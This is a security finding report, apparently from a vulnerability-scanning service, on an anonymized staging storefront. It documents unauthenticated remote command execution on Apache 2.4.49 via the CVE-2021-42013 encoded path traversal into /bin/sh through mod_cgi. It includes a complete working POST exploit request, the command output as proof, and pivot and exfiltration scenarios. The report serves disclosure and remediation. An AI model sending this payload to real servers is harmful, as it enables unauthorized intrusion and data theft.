Apache 2.4.49 front proxy: unauthenticated RCE via CVE-2021-42013 traversal + mod_cgi on /cgi-bin/ (POST to /bin/sh)
/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/shAttack Path
Business Impact
An unauthenticated attacker can execute arbitrary commands as www-data inside the front-proxy container, exposing any files and secrets it holds, including the deployed httpd.conf. From there, the attacker can pivot across the internal Docker network to the MySQL database and the PHP application container, exfiltrate or tamper with business data, and install persistence. Because this RCE requires no authentication and is independent of the PHP app, a compromise could result in full environment takeover, data breach notification obligations, and significant operational disruption.
Description
Multiple security issues detected with 2 specific manifestations: unauthenticated, operation. The front-proxy Apache 2.4.49 (Server banner Apache/2.4.49 (Unix)) exposes ScriptAlias /cgi-bin/ with ExecCGI. The CVE-2021-42013 double-decode encoding .%%32e traverses out of /cgi-bin/ and reaches any path on the filesystem; because mod_cgi executes anything under the ScriptAlias path, an unauthenticated POST to /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh with shell commands in the POST body executes those commands as uid=33(www-data). This is a second, independent unauthenticated RCE for this application (in addition to the Twig SSTI RCE on invoices/create / templates/preview), running in the front-proxy container (hostname b8ab5fc6e0f9), separate from the PHP app container.
Proof of Concept
Setup
No authentication required. Front-proxy Apache 2.4.49 handles /cgi-bin/ directly (ScriptAlias with ExecCGI).
Exploit
POST /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh HTTP/1.1
Host: storefront.example
Content-Type: text/plain
echo Content-Type: text/plain; echo; id; uname -a; cat /etc/hostname
Verification
200 OK, Server: Apache/2.4.49 (Unix), Content-Type: text/plain, chunked - body is the command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux b8ab5fc6e0f9 6.8.0-1066-gcp #74~22.04.1-Ubuntu SMP Fri Aug 7 21:51:15 UTC 2026 x86_64 GNU/Linux
b8ab5fc6e0f9
The first echo line supplies the CGI response headers; everything after the blank line is command output. The /icons/ alias is unaffected by RCE (POST /icons/.%%32e/.../bin/sh just serves the static ELF binary - no CGI handler), and GET on the same /cgi-bin/ traversal path returns 500 (mod_cgi can't parse /etc/passwd as a CGI script), confirming the execution is via mod_cgi on the ScriptAlias path.
Observed Behavior
A POST to /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh returned 200 with a chunked text/plain body containing the executed command output: uid=33(www-data) gid=33(www-data) groups=33(www-data), Linux b8ab5fc6e0f9 6.8.0-1066-gcp ... x86_64 GNU/Linux, and b8ab5fc6e0f9. Control requests confirmed the mechanism: GET on the same /cgi-bin/ traversal returned 500 (mod_cgi cannot parse non-CGI targets), and POST to the identical traversal under /icons/ returned the raw ELF binary of /bin/sh without execution, isolating execution to mod_cgi + ScriptAlias.
Attack Scenarios
- 1
An unauthenticated attacker gains arbitrary command execution as www-data in the front-proxy container, allowing them to read or modify any file and pivot to other containers on the internal Docker network such as mysql and the PHP app.
- 2
An attacker can exfiltrate the deployed httpd.conf and any secrets stored in the proxy container.
- 3
This second independent pre-authentication RCE remains exploitable even when the PHP application is down, giving attackers persistent backend access to the environment.
Triage & Management
Validation Status
Exploitability
Asset Information
Anonymized staging evaluation. Explore the full detail view; management actions are available in your own workspace.
Find issues in your app